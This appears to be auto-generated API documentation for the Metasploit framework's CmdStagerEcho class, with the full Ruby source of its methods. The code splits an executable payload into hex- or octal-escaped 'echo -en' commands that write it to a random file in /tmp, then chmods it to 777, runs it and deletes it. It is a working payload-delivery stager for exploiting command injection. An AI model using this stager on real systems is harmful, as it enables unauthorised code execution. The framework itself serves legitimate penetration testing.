Class: Rex::Exploitation::CmdStagerEcho
- Inherits:
-
CmdStagerBase
- Object
- CmdStagerBase
- Rex::Exploitation::CmdStagerEcho
- Defined in:
- lib/rex/exploitation/cmdstager/echo.rb
Constant Summary collapse
- ENCODINGS =
{ 'hex' => "\\\\x", 'octal' => "\\\\", 'hex_double_quoted' => "\\x", 'hex_single_quoted' => "\\x", }
Instance Method Summary collapse
- #cmd_concat_operator ⇒ Object
-
#encode_payload(opts) ⇒ Object
Encode into a format that echo understands, where interpretation of backslash escapes are enabled.
- #fix_last_byte(part, opts, remaining = "") ⇒ Object
- #generate(opts = {}) ⇒ Object
-
#generate_cmds(opts) ⇒ Object
Override to set the extra byte count.
-
#generate_cmds_decoder(opts) ⇒ Object
Since the binary has been already dropped to fs, just execute and delete it.
-
#initialize(exe) ⇒ CmdStagerEcho
constructor
A new instance of CmdStagerEcho.
-
#parts_to_commands(parts, opts) ⇒ Object
Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.
-
#slice_up_payload(encoded, opts) ⇒ Object
Override it to ensure that the hex representation of a byte isn’t cut.
Methods inherited from CmdStagerBase
#compress_commands, #generate_cmds_payload, #setup, #teardown
Constructor Details
#initialize(exe) ⇒ CmdStagerEcho
Returns a new instance of CmdStagerEcho.
19 20 21 22 23 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 19 def initialize(exe) super @var_elf = Rex::Text.rand_text_alpha(5) end |
Instance Method Details
#cmd_concat_operator ⇒ Object
175 176 177 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 175 def cmd_concat_operator " ; " end |
#encode_payload(opts) ⇒ Object
Encode into a format that echo understands, where interpretation of backslash escapes are enabled. For hex, it’ll look like “\x41\x42”, and octal will be “\101\102\5\41”
82 83 84 85 86 87 88 89 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 82 def encode_payload(opts) case opts[:enc_format] when 'octal' return Rex::Text.to_octal(@exe, @prefix) else return Rex::Text.to_hex(@exe, @prefix) end end |
#fix_last_byte(part, opts, remaining = "") ⇒ Object
152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 152 def fix_last_byte(part, opts, remaining="") fixed_part = part.dup case opts[:enc_format] when 'hex' while (fixed_part.length > 0 && fixed_part[-5, @prefix.length] != @prefix) fixed_part.chop! end when /hex_.*_quoted/ while (fixed_part.length > 0 && fixed_part[-4, @prefix.length] != @prefix) fixed_part.chop! end when 'octal' if remaining.length > fixed_part.length and remaining[fixed_part.length, @prefix.length] != @prefix pos = fixed_part.rindex('\\') pos -= 1 if fixed_part[pos-1] == '\\' fixed_part.slice!(pos..fixed_part.length-1) end end return fixed_part end |
#generate(opts = {}) ⇒ Object
29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 29 def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' unless opts[:temp].empty? opts[:temp].gsub!(/\\/, '/') opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' end # by default use the 'hex' encoding opts[:enc_format] = opts[:enc_format].nil? ? 'hex' : opts[:enc_format].to_s unless ENCODINGS.keys.include?(opts[:enc_format]) raise RuntimeError, "CmdStagerEcho - Invalid Encoding Option: #{opts[:enc_format]}" end super end |
#generate_cmds(opts) ⇒ Object
Override to set the extra byte count
51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 51 def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo " unless opts[:noargs] @cmd_start += "-en " end @cmd_end = ">>#{@tempdir}#{@var_elf}" xtra_len = @cmd_start.length + @cmd_end.length if opts[:enc_format].to_s =~ /quoted/ xtra_len += 2 end opts.merge!({ :extra => xtra_len }) @prefix = opts[:prefix] || ENCODINGS[opts[:enc_format]] min_part_size = 5 # for both encodings if (opts[:linemax] - opts[:extra]) < min_part_size raise RuntimeError, "CmdStagerEcho - Not enough space for command - #{opts[:extra] + min_part_size} byte required, #{opts[:linemax]} byte available" end super end |
#generate_cmds_decoder(opts) ⇒ Object
Since the binary has been already dropped to fs, just execute and delete it
116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 116 def generate_cmds_decoder(opts) cmds = [] # Make it all happen cmds << "chmod 777 #{@tempdir}#{@var_elf}" #cmds << "chmod +x #{@tempdir}#{@var_elf}" cmds << "#{@tempdir}#{@var_elf}#{' & echo' if opts[:background]}" # Clean up after unless requested not to.. unless opts[:nodelete] cmds << "rm -f #{@tempdir}#{@var_elf}" end return cmds end |
#parts_to_commands(parts, opts) ⇒ Object
Combine the parts of the encoded file with the stuff that goes before (“echo -en ”) / after (“>>file”) it.
96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 96 def parts_to_commands(parts, opts) parts.map do |p| cmd = '' cmd << @cmd_start if opts[:enc_format] == 'hex_double_quoted' cmd << %Q{"#{p}"} elsif opts[:enc_format] == 'hex_single_quoted' cmd << %Q{'#{p}'} else cmd << p end cmd << @cmd_end cmd end end |
#slice_up_payload(encoded, opts) ⇒ Object
Override it to ensure that the hex representation of a byte isn’t cut
134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 |
# File 'lib/rex/exploitation/cmdstager/echo.rb', line 134 def slice_up_payload(encoded, opts) encoded_dup = encoded.dup parts = [] xtra_len = opts[:extra] xtra_len ||= 0 while (encoded_dup.length > 0) temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start # of a full byte representation "\\xYZ" or "\\YZX" temp = fix_last_byte(temp, opts, encoded_dup) parts << temp encoded_dup.slice!(0, temp.length) end parts end |